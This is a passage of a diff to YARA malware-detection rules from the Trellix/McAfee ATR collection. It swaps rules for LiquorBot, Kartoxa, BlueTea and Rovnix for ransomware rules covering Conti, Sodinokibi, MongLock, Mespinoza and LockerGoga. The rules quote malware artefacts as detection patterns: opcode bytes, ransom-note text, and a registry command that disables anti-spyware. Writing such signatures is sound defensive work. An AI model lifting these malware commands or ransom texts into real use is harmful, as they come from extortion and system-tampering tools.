25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 25 00 73 00 } + $s3 = { 2F 00 75 00 70 00 6C 00 6F 00 61 00 64 00 2F 00 25 00 73 00 5F 00 25 00 64 00 5F 00 25 00 73 00 } + $s4 = { 53 59 53 54 45 4D 5C 43 75 72 72 65 6E 74 43 6F 6E 74 72 6F 6C 53 65 74 5C 43 6F 6E 74 72 6F 6C 5C 53 65 73 73 69 6F 6E 20 4D 61 6E 61 67 65 72 } + $s5 = { 5C 5C 2E 5C 50 68 79 73 69 63 61 6C 44 72 69 76 65 25 64 } condition: - all of them + uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them } -rule TRELLIX_ARC_MALW_Liquorbot : MALWARE FILE + +rule TRELLIX_ARC_Ransom_Conti : RANSOMWARE FILE { meta: - description = "Rule to detect LiquorBot malware" - author = "Marc Rivero | McAfee ATR Team" - id = "73898df8-b5eb-50ac-a2fe-ef9233c251c5" - date = "2020-08-19" - modified = "2020-08-19" - reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_liquorbot.yar#L1-L23" + description = "Conti ransomware is havnig capability too scan and encrypt oover the network" + author = "McAfee ATR team" + id = "8fc6943d-fb99-5957-929b-4c264d9fba2d" + date = "2020-07-09" + modified = "2020-10-12" + reference = "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/Ransom_Conti.yar#L3-L37" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "2448e3ede809331b2370fe9d42d603ad6508be6531a1a8764e0e0621867b6e89" + hash = "eae876886f19ba384f55778634a35a1d975414e83f22f6111e3e792f706301fe" + logic_hash = "953471c130309bbc712197d49d2072bd45838f49d2b25f86273a15c6baa87354" score = 75 quality = 70 - tags = "MALWARE, FILE" + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "malware" - malware_family = "Botnet:W32/LiquorBot" + malware_type = "ransomware" + malware_family = "Ransom:W32/Conti" actor_type = "Cybercrime" actor_group = "Unknown" - hash1 = "5b2a9cbda99ed903f75c3b37f0a6b1b9f6c39671a76ed652f3ddba117fd43bc9" strings: - $pattern = { 7F454C4602010100000000000000000002003E0001000000605A4600000000004000000000000000700200000000000000000000400038000A0040001B00090006000000040000004000000000000000400040000000000040004000000000003002000000000000300200000000000000100000000000000300000004000000E00F000000000000E00F400000000000E00F40000000000020000000000000002000000000000000010000000000000004000000040000007C0F0000000000007C0F4000000000007C0F400000000000640000000000000064000000000000000400000000000000010000000500000000000000000000000000400000000000000040000000000040FB29000000000040FB2900000000000010000000000000010000000400000000002A000000000000006A000000000000006A0000000000E4492C0000000000E4492C000000000000100000000000000100000006000000005056000000000000509600000000000050960000000000E014040000000000681307000000000000100000000000000200000006000000405156000000000040519600000000004051960000000000300100000000000030010000000000000800000000000000070000000400000000000000000000000000000000000000000000000000000000000000000000000800000000000000080000000000000051E574640600000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000080150465002A00000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000010000000600000000000000001040000000000000100000000000001FE9290000000000000000000000000010000000000000000000000000000000F000000001000000060000000000000020F969000000000020F929000000000020020000000000000000000000000000100000000000000010000000000000007000000001000000020000000000000000006A000000000000002A0000000000A678110000000000000000000000000020000000000000000000000000000000E0000000040000000200000000000000A8787B0000000000A8783B000000000018000000000000000B0000000000000008000000000000001800000000000000E6000000040000000200000000000000C0787B0000000000C0783B000000000018030000000000000B0000000200000008000000000000001800000000000000F5000000FF } + $string1 = "HOW_TO_DECRYPTP" fullword ascii + $string2 = "The system is LOCKED." fullword ascii + $string3 = "The network is LOCKED." fullword ascii + $code1 = { ff b4 b5 48 ff ff ff 53 ff 15 bc b0 41 00 85 c0 } + $code2 = { 6a 02 6a 00 6a ff 68 ec fd ff ff ff 76 0c ff 15 } + $code3 = { 56 8d 85 38 ff ff ff 50 ff d7 85 c0 0f 84 f2 01 } condition: - uint16( 0 ) == 0x457f and all of them + uint16( 0 ) == 0x5a4d and filesize < 300KB and pe.number_of_sections == 5 and ( pe.imphash ( ) == "30fe3f044289487cddc09bfb16ee1fde" or ( all of them and all of ( $code* ) ) ) } -rule TRELLIX_ARC_Kartoxa_Malware_Pdb : POS FILE + +rule TRELLIX_ARC_Ransomware_Sodinokibi : RANSOMWARE FILE { meta: - description = "Rule to detect Kartoxa POS based on the PDB" - author = "Marc Rivero | McAfee ATR Team" - id = "3d2dbf22-5d8f-5f19-9048-2d021ada22c8" - date = "2010-10-09" - modified = "2020-08-14" - reference = "https://securitynews.sonicwall.com/xmlpost/guatambu-new-multi-component-infostealer-drops-kartoxa-pos-malware-apr-08-2016/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_backdoor_katorxa_pdb.yar#L1-L25" + description = "Using a recently disclosed vulnerability in Oracle WebLogic, criminals use it to install a new variant of ransomware called “Sodinokibi" + author = "Christiaan Beek | McAfee ATR team" + id = "573e3390-1ee5-5489-a67e-decc02aea7a0" + date = "2019-05-13" + modified = "2025-03-18" + reference = "https://github.com/advanced-threat-research/Yara-Rules/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Sodinokibi.yar#L3-L30" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "86dd21b8388f23371d680e2632d0855b442f0fa7e93cd009d6e762715ba2d054" - logic_hash = "6e1810af386f3aada4cd1d72f76d8210d201808c8fe1d21d379ff1a825d93710" + logic_hash = "cb5d4e9a7cbec27d693ed73bab4be598614d7bd5ebd23d7907730571a4174be8" score = 75 quality = 70 - tags = "POS, FILE" + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "pos" - malware_family = "Pos:W32/Kartoxa" + malware_type = "ransomware" + malware_family = "Ransom:W32/Sodinokibi" actor_type = "Cybercrime" actor_group = "Unknown" + hash4 = "9b62f917afa1c1a61e3be0978c8692dac797dd67ce0e5fd2305cc7c6b5fef392" strings: - $pdb = "\\vm\\devel\\dark\\mmon\\Release\\mmon.pdb" + $x1 = "sodinokibi.exe" fullword wide + $y0 = { 8d 85 6c ff ff ff 50 53 50 e8 62 82 00 00 83 c4 } + $y1 = { e8 24 ea ff ff ff 75 08 8b ce e8 61 fc ff ff 8b } + $y2 = { e8 01 64 ff ff ff b6 b0 } condition: - uint16( 0 ) == 0x5a4d and filesize < 200KB and any of them + ( uint16( 0 ) == 0x5a4d and filesize < 900KB and pe.imphash ( ) == "672b84df309666b9d7d2bc8cc058e4c2" and all of ( $y* ) ) or ( all of them ) } -rule TRELLIX_ARC_Malw_Inabot_Worm : WORM FILE +rule TRELLIX_ARC_Sodinokobi : RANSOMWARE { meta: - description = "Rule to detect inabot worm based on PDB" - author = "Marc Rivero | McAfee ATR Team" - id = "b899d2d6-000a-5363-9efe-527dcd0cea17" - date = "2013-04-19" - modified = "2020-08-14" - reference = "http://verwijderspyware.blogspot.com/2013/04/elimineren-w32inabot-worm-hoe-te.html" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_inabot_worm_pdb.yar#L1-L25" + description = "This rule detect Sodinokobi Ransomware in memory in old samples and perhaps future." + author = "McAfee ATR team" + id = "dd05ce31-9699-50a9-944c-5883340791af" + date = "2026-03-01" + modified = "2025-03-18" + reference = "https://github.com/advanced-threat-research/Yara-Rules/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Sodinokibi.yar#L32-L53" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "c9c010228254aae222e31c669dda639cdd30695729b8ef2b6ece06d899a496aa" - logic_hash = "70485de4e071b684faa87484ce2a53a8b2a29d0a2954e785b858c7ff1d908de0" + logic_hash = "f25039ac743223756461bbeeb349c674473608f9959bf3c79ce4a7587fde3ab2" score = 75 quality = 70 - tags = "WORM, FILE" - rule_version = "v1" - malware_type = "worm" - malware_family = "Worm:W32/Inabot" + tags = "RANSOMWARE" + malware_type = "ransomware" + malware_family = "Ransom:W32/Sodinokibi" actor_type = "Cybercrime" actor_group = "Unknown" + version = "1.0" strings: - $pdb = "\\trasser\\portland.pdb" - $pdb1 = "\\mainstream\\archive.pdb" + $a = { 40 0F B6 C8 89 4D FC 8A 94 0D FC FE FF FF 0F B6 C2 03 C6 0F B6 F0 8A 84 35 FC FE FF FF 88 84 0D FC FE FF FF 88 94 35 FC FE FF FF 0F B6 8C 0D FC FE FF FF } + $b = { 0F B6 C2 03 C8 8B 45 14 0F B6 C9 8A 8C 0D FC FE FF FF 32 0C 07 88 08 40 89 45 14 8B 45 FC 83 EB 01 75 AA } condition: - uint16( 0 ) == 0x5a4d and filesize < 180KB and any of them + all of them } -rule TRELLIX_ARC_Rtf_Bluetea_Builder : MALDOC FILE +rule TRELLIX_ARC_Ransom_Monglock : RANSOMWARE FILE { meta: - description = "Rule to detect the RTF files created to distribute BlueTea trojan" - author = "Marc Rivero | McAfee ATR Team" - id = "20e4f7b2-b36c-5724-a3aa-4216ed6265ab" - date = "2020-04-21" + description = "Ransomware encrypting Mongo Databases " + author = "Christiaan Beek - McAfee ATR team" + id = "4350a874-dd76-5379-af9f-f1d190385706" + date = "2019-04-25" modified = "2020-08-14" - reference = "https://blog.360totalsecurity.com/en/bluetea-action-drive-the-life-trojan-update-email-worm-module-and-spread-through-covid-19-outbreak/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALDOC_rtf_bluetea_builder.yar#L1-L30" + reference = "https://github.com/advanced-threat-research/Yara-Rules/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_MONGOLOCK.yar#L1-L41" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "4a3eeaed22342967a95302a4f087b25f50d61314facc6791f756dcd113d4f277" - logic_hash = "6c4007fb7ef4819141db63050215dcbb3d2c17e7cdcdbb6cfb4f4b045bb5736b" + logic_hash = "245a7377a410828ed8bc7148f36af6d143ad20d16840238ed5b6d6f94f015984" score = 75 quality = 70 - tags = "MALDOC, FILE" + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "maldoc" - malware_family = "Maldoc:W32/BlueTea" + malware_type = "ransomware" + malware_family = "Ransom:W32/MongLock" actor_type = "Cybercrime" actor_group = "Unknown" + hash5 = "c4de2d485ec862b308d00face6b98a7801ce4329a8fc10c63cf695af537194a8" strings: - $sequence = { 7B??72??6631??????65666C616E6731??32??????????69??????????????67????36??75??32??????656666????35????????656666????????73??666462????33??35????????74??68????????68????????36??73??73??66??????68????????36??73??73??6662????5C646566??616E6731??33??5C646566??616E67666532??35????????656D656C616E6731??33??5C74??656D656C616E67666532??35????????656D656C616E6763????7B??666F6E74??62??????6630??????69??????????????6D616E5C6663????72??6574??5C6670??71??7B??2A??????6E6F73??20??32??32??3630??30??????????30??30??30????????????73??4E6577??526F6D616E3B????0A????6631??5C6662????69??????????6C5C6663????72??6574??33????6670??71??7B??2A??????6E6F73??20??32??31??3630??30??30??30??30??30??30??7D??2763????2763????2763????276535????????66616C74??5369????????????7D??5C6633????6662????69??????????6D616E5C6663????72??6574??5C6670??71??7B??2A??????6E6F73??20??32??34??35????????30????3630??30??30????????????72??6120????74??3B????0A????6633??5C6662????69??????????69????????????6172??6574??5C6670??71??7B??2A??????6E6F73??20??32??6630??????????30??30????33??32??34??43616C69????????????5C6633??5C6662????69??????????6C5C6663????72??6574??33????6670??71??7B??2A??????6E6F73??20??32??31??3630??30??30??30??30??30??30??7D??5C2763????2763????2763????276535????????7B??666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??5C6670??71??7B??2A??????6E6F73??20??32??32??3630??30??????????30??30??30????????????73??4E6577??526F6D616E3B????5C666462????6A??72??6633??35????????62????69??????????6C5C6663????72??6574??33????6670??71??7B??2A??????6E6F73??20??32??31??3630??30??30??30??30??30??30??7D??2763????2763????2763????276535????????66616C74??5369????????????7D??0A????66??????616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??5C6670??71??7B??2A??????6E6F73??20??32??34??35????????30????3630??30??30????????????72??613B????5C6662????616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??5C6670??71??7B??2A??????6E6F73??20??32??32??3630??30??????????30??30??30????????????73??4E6577??526F6D616E3B????0A????666C6F6D69????????????31??????????62????69??????????6D616E5C6663????72??6574??5C6670??71??7B??2A??????6E6F73??20??32??32??3630??30??????????30??30??30????????????73??4E6577??526F6D616E3B????5C666462????6E6F72??6633??35????????62????69??????????6C5C6663????72??6574??33????6670??71??7B??2A??????6E6F73??20??32??31??3630??30??30??30??30??30??30??7D??2763????2763????2763????276535????????66616C74??5369????????????7D??0A????66??????69????????????31??????????62????69??????????69????????????6172??6574??5C6670??71??7B??2A??????6E6F73??20??32??6630??????????30??30????33??32??34??43616C69????????????5C6662????69????????????31??????????62????69??????????6D616E5C6663????72??6574??5C6670??71??7B??2A??????6E6F73??20??32??32??3630??30??????????30??30??30????????????73??4E6577??526F6D616E3B????5C6634??5C6662????69??????????6D616E5C6663????72??6574??33??5C6670??71??20??????6573??4E6577??526F6D616E20????3B????0A????6634??5C6662????69??????????6D616E5C6663????72??6574??30????6670??71??20??????6573??4E6577??526F6D616E20????72??7D??5C6634??5C6662????69??????????6D616E5C6663????72??6574??3631??????72??32??5469????????????77??526F6D616E20????6565??????7B??6634??5C6662????69??????????6D616E5C6663????72??6574??3632??????72??32??5469????????????77??526F6D616E20??????3B????5C6634??5C6662????69??????????6D616E5C6663????72??6574??37375C6670??71??20??????6573??4E6577??526F6D616E20??486562????77??3B????0A????6634??5C6662????69??????????6D616E5C6663????72??6574??3738??????72??32??5469????????????77??526F6D616E20??4172??62????29??7D??5C6634??5C6662????69??????????6D616E5C6663????72??6574??38??5C6670??71??20??????6573??4E6577??526F6D616E20????6C74??63??7D??5C6634??5C6662????69??????????6D616E5C6663????72??6574??3633??????72??32??5469????????????77??526F6D616E20??5669????????????73??29??7D??0A????6631??32??????69??????????????6C5C6663????72??6574??5C6670??71??20????6D5375??20????73??6572??7B??2A??????6C74??5369????????????7D??5C6633??30??????69??????????????6D616E5C6663????72??6574??33??5C6670??71??20????6D62????6120????74??20????3B????5C6633??31??????69??????????????6D616E5C6663????72??6574??30????6670??71??20????6D62????6120????74??20????72??7D??5C6633??33??????69??????????????6D616E5C6663????72??6574??3631??????72??32??43616D62????6120????74??20????6565??????0D????????33??34??6662????69??????????6D616E5C6663????72??6574??3632??????72??32??43616D62????6120????74??20??????3B????5C6633??375C6662????69??????????6D616E5C6663????72??6574??38??5C6670??71??20????6D62????6120????74??20????6C74??63??7D??5C6633??38??????69??????????????6D616E5C6663????72??6574??3633??????72??32??43616D62????6120????74??20??5669????????????73??29??7D??5C6634??30??????69??????????????69????????????6172??6574??33??5C6670??71??20????6C69????????????3B????0A????6634??31??????69??????????????69????????????6172??6574??30????6670??71??20????6C69????????????72??7D??5C6634??33??????69??????????????69????????????6172??6574??3631??????72??32??43616C69????????????6565??????7B??6634??34??6662????69??????????69????????????6172??6574??3632??????72??32??43616C69????????????72??7D??5C6634??375C6662????69??????????69????????????6172??6574??38??5C6670??71??20????6C69????????????6C74??63??7D??0A????6634??38??????69??????????????69????????????6172??6574??3633??????72??32??43616C69????????????69????????????73??29??7D??5C6634??32??????69??????????????6C5C6663????72??6574??5C6670??71??20????2763????2763????2763????276535????????74??72??3B????5C666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??33??5C6670??71??20??????6573??4E6577??526F6D616E20????3B????0A????666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??30????6670??71??20??????6573??4E6577??526F6D616E20????72??7D??5C666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??3631??????72??32??5469????????????77??526F6D616E20????6565??????7B??666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??3632??????72??32??5469????????????77??526F6D616E20??????3B????0A????666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??37375C6670??71??20??????6573??4E6577??526F6D616E20??486562????77??3B????5C666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??3738??????72??32??5469????????????77??526F6D616E20??4172??62????29??7D??5C666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??38??5C6670??71??20??????6573??4E6577??526F6D616E20????6C74??63??7D??0A????666C6F6D616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??3633??????72??32??5469????????????77??526F6D616E20??5669????????????73??29??7D??5C666462????6A??72??6633??35????????62????69??????????6C5C6663????72??6574??5C6670??71??20????6D5375??20????73??6572??7B??2A??????6C74??5369????????????7D??5C66??????616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??33??5C6670??71??20????6D62????6120????3B????0A????66??????616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??30????6670??71??20????6D62????6120????72??7D??5C66??????616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??3631??????72??32??43616D62????6120????6565??????7B??66??????616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??3632??????72??32??43616D62????6120??????3B????0A????66??????616A??72??6633??35????????62????69??????????6D616E5C6663????72??6574??38??5C6670??71??20????6D62????6120????6C74??63??7D??5C66??????616A?? } + $x1 = "C:\\Windows\\system32\\cmd.exe" fullword wide + $s1 = "and a Proof of Payment together will be ignored. We will drop the backup after 24 hours. You are welcome! " fullword ascii + $s2 = "Your File and DataBase is downloaded and backed up on our secured servers. To recover your lost data : Send 0.1 BTC to our BitCoin" ascii + $s3 = "No valid port number in connect to host string (%s)" fullword ascii + $s4 = "SOCKS4%s: connecting to HTTP proxy %s port %d" fullword ascii + $s5 = "# https://curl.haxx.se/docs/http-cookies.html" fullword ascii + $s6 = "Connection closure while negotiating auth (HTTP 1.0?)" fullword ascii + $s7 = "detail may be available in the Windows System event log." fullword ascii + $s8 = "Found bundle for host %s: %p [%s]" fullword ascii + $s9 = "No valid port number in proxy string (%s)" fullword ascii + $op0 = { 50 8d 85 78 f6 ff ff 50 ff b5 70 f6 ff ff ff 15 } + $op1 = { 83 fb 01 75 45 83 7e 14 08 72 34 8b 0e 66 8b 45 } + $op2 = { c7 41 0c df ff ff ff c7 41 10 } condition: - uint16( 0 ) == 0x5c7b and filesize < 100KB and all of them + ( uint16( 0 ) == 0x5a4d and filesize < 2000KB and ( 1 of ( $x* ) and 4 of them ) and all of ( $op* ) ) or ( all of them ) } -rule TRELLIX_ARC_Rovnix_Downloader : DOWNLOADER + +rule TRELLIX_ARC_Ransom_Mespinoza : FILE { meta: - description = "Rovnix downloader with sinkhole checks" - author = "Intel Security" - id = "d51f8f73-7a3a-5ccf-9122-86061b5399f1" - date = "2026-02-01" - modified = "2020-08-14" - reference = "https://blogs.mcafee.com/mcafee-labs/rovnix-downloader-sinkhole-time-checks/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_Rovnix.yar#L1-L38" + description = "rule to detect Mespinoza ransomware" + author = "Christiaan Beek @ McAfee ATR" + id = "70a76bc4-e0cb-5caa-bb64-1a732349d2ce" + date = "2020-11-24" + modified = "2020-11-24" + reference = "https://github.com/advanced-threat-research/Yara-Rules/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/Ransom_Mespinoza.yar#L3-L27" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "52cde40c95436129b7d48b4bd5e78b66deb84fdc84a76cc9ac72f24e0777e540" + logic_hash = "e245fb9a71d86209690a6f4c7aa38c10dbd32cda2ea3ecde08d0d94e896381cb" score = 75 - quality = 43 - tags = "DOWNLOADER" - malware_type = "downloader" - malware_family = "Downloader:W32/Rovnix" - actor_type = "Cybercrime" - actor_group = "Unknown" + quality = 70 + tags = "FILE" + malware_family = "ransom_Win_Mespinoza" + hash1 = "e9662b468135f758a9487a1be50159ef57f3050b753de2915763b4ed78839ead" + hash2 = "48355bd2a57d92e017bdada911a4b31aa7225c0b12231c9cbda6717616abaea3" + hash3 = "e4287e9708a73ce6a9b7a3e7c72462b01f7cc3c595d972cf2984185ac1a3a4a8" strings: - $sink1 = "control" - $sink2 = "sink" - $sink3 = "hole" - $sink4 = "dynadot" - $sink5 = "block" - $sink6 = "malw" - $sink7 = "anti" - $sink8 = "googl" - $sink9 = "hack" - $sink10 = "trojan" - $sink11 = "abuse" - $sink12 = "virus" - $sink13 = "black" - $sink14 = "spam" - $boot = "BOOTKIT_DLL.dll" - $mz = { 4D 5A } + $s1 = "update.bat" fullword ascii + $s2 = "protonmail.com" fullword ascii + $s3 = "Every byte on any types of your devices was encrypted." fullword ascii + $s4 = "To get all your data back contact us:" fullword ascii + $s5 = "What to do to get all data back?" fullword ascii + $s6 = "Don't try to use backups because it were encrypted too." fullword ascii + $op0 = { 83 f8 4b 75 9e 0f be 46 ff 8d 4d e0 ff 34 85 50 } + $op1 = { c6 05 34 9b 47 00 00 e8 1f 0c 03 00 59 c3 cc cc } + $op2 = { e8 ef c5 fe ff b8 ff ff ff 7f eb 76 8b 4d 0c 85 } condition: - $mz in ( 0 .. 2 ) and all of ( $sink* ) and $boot + ( uint16( 0 ) == 0x5a4d and filesize < 600KB and pe.imphash ( ) == "b5e8bd2552848bb7bf2f28228d014742" and ( 8 of them ) and 2 of ( $op* ) ) or ( all of them ) } -rule TRELLIX_ARC_Screenlocker_5H311_1Nj3C706 : SCREENLOCKER FILE +rule TRELLIX_ARC_Lockergogaransomware : RANSOMWARE FILE { meta: - description = "Rule to detect the screenlocker 5h311_1nj3c706" - author = "Marc Rivero | McAfee ATR Team" - id = "50bbe8e1-4721-5277-b786-d2a2d9acf917" - date = "2018-08-07" + description = "LockerGoga Ransomware" + author = "Christiaan Beek - McAfee ATR team" + id = "bdf5da34-adf0-5731-820f-96511e647a83" + date = "2019-03-20" modified = "2020-08-14" - reference = "https://twitter.com/demonslay335/status/1038060120461266944" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_screenlocker_5h311_1nj3c706.yar#L1-L33" + reference = "https://github.com/advanced-threat-research/Yara-Rules/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_LockerGoga.yar#L1-L36" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "016ee638bd4fccd5ca438c2e0abddc4b070f59269c08f11c5313ba9c37190718" - logic_hash = "61b4495841c77053ba2631f087197719f3ee45cd93add022f23b87ece8563619" + hash = "ba15c27f26265f4b063b65654e9d7c248d0d651919fafb68cb4765d1e057f93f" + logic_hash = "165fa0fa044b2e0d2344626c2064162f23e13dc17310a772b703dbbe9457bd99" score = 75 quality = 70 - tags = "SCREENLOCKER, FILE" + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "screenlocker" - malware_family = "ScreenLocker:W32/5h311_1nj3c706" + malware_type = "ransomware" + malware_family = "Ransom:W32/LockerGoga" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $s1 = "C:\\Users\\Hoang Nam\\source\\repos\\WindowsApp22\\WindowsApp22\\obj\\Debug\\WindowsApp22.pdb" fullword ascii - $s2 = "cmd.exe /cREG add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\ActiveDesktop /v NoChangingWallPaper /t REG_DWOR" wide - $s3 = "C:\\Users\\file1.txt" fullword wide - $s4 = "C:\\Users\\file2.txt" fullword wide - $s5 = "C:\\Users\\file.txt" fullword wide - $s6 = " /v Wallpaper /t REG_SZ /d %temp%\\IMG.jpg /f" fullword wide - $s7 = " /v DisableAntiSpyware /t REG_DWORD /d 1 /f" fullword wide - $s8 = "All your file has been locked. You must pay money to 